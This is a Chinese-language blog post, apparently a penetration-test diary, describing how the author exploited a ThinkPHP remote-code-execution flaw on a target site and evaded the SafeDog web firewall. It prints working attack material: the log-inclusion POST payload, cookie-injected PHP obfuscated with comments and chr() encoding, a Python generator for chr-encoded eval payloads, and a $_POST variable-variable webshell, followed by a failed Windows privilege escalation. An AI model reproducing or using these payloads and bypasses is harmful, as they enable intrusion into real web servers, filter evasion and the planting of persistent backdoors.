路漫漫其修远兮,吾将上下而求索

0%

渗透测试纪实-tp过安全狗

拿到目标站后,看了看url,为 signup.html,加了个 ?s=captcha,显示验证码,判断为tp框架。

果断拿起exp测试

image-20200522191303596

很好,能成功,暗自窃喜一波。

之后看看phpinfo;

image-20200522191416443

被拦截了

之后测试了一下404页面。

image-20200522191504255

熟悉的拦路狗。

猜测拦截了exp,但是很明显没有拦截包含日志的exp。

  • 试试包含日志。

    将cookie设为 <?php phpinfo();?>

    结果被拦截,猜测拦截函数。

  • 将cookie设为 <?php phpinfo/**/();?>,绕过了。php7.2版本。

    image-20200522193950383

  • 之后测试一下写入

    Cookie:file_put_contents/**/('./readme.txt','h3art3ars');

    image-20200522195121019

    过滤了单引号,就知道没那么容易。

  • 试一下不带payload的一句话 <? eval/**/(base64_decode($_POST[1]));?>

    post:_method=__construct&method=get&filter[]=think\__include_file&get[]=../runtime/log/202005/22.log&1=cGhwaW5mbygpOw==

    结果依旧被拦截。

  • 测试了一下,是拦截了 $_POST[] 参数,那就继续绕过。将 _POST 参数,利用引用参数代替。

    在本地 php shell 里面测试

    image-20200522201052725

    可以看到在本地linux是测试成功的。

  • 直接放到cookie里面看看:Cookie:<? $a=chr/**/(95).chr/**/(80).chr/**/(79).chr/**/(83).chr/**/(84);eval/**/(base64_decode/**/($/**/{$a}[1]));?>

    image-20200522201322865

    对方系统windows,出错了。不知道是为什么。

  • 那就只能换一个思路,直接将要执行的命令用chr函数表示。

    由于一个一个chr太麻烦,索性写了个脚本

    1
    import base64
    2
    cmd = 'phpinfo()'
    3
    strs = base64.b64encode(cmd.encode('utf-8'))
    4
    strs = bytes.decode(strs)
    5
    a = ''
    6
    for c in strs:
    7
        a += "chr/**/(" + str(ord(c))+').'
    8
    a = a[0:-1]
    9
    a = '<? $a='+a + ';eval/**/(base64_decode/**/($a));?>'
    10
    print(a)

    image-20200522203613777

  • 把payload复制到cookie中试试,成功。

    image-20200522203503512

  • 接下来写入一句话,然而却是访问404.

  • 猜测是狗吃了一句话,那就从上次写的 php新特性过马文章中拿一个试试。

    1
    <?php
    2
    $b="_POST";
    3
    $a=[${$b}['a']];
    4
    [$c]=$a;
    5
    eval($c);
    6
    ?>

    image-20200522210021466

    执行,测试一下。

    image-20200522210102083

    成功。

windows提权,未成功

1
Windows NT WIN-RU4FAFHHEMH 6.1 build 7601 (Windows Server 2008 R2 Enterprise Edition Service Pack 1) AMD64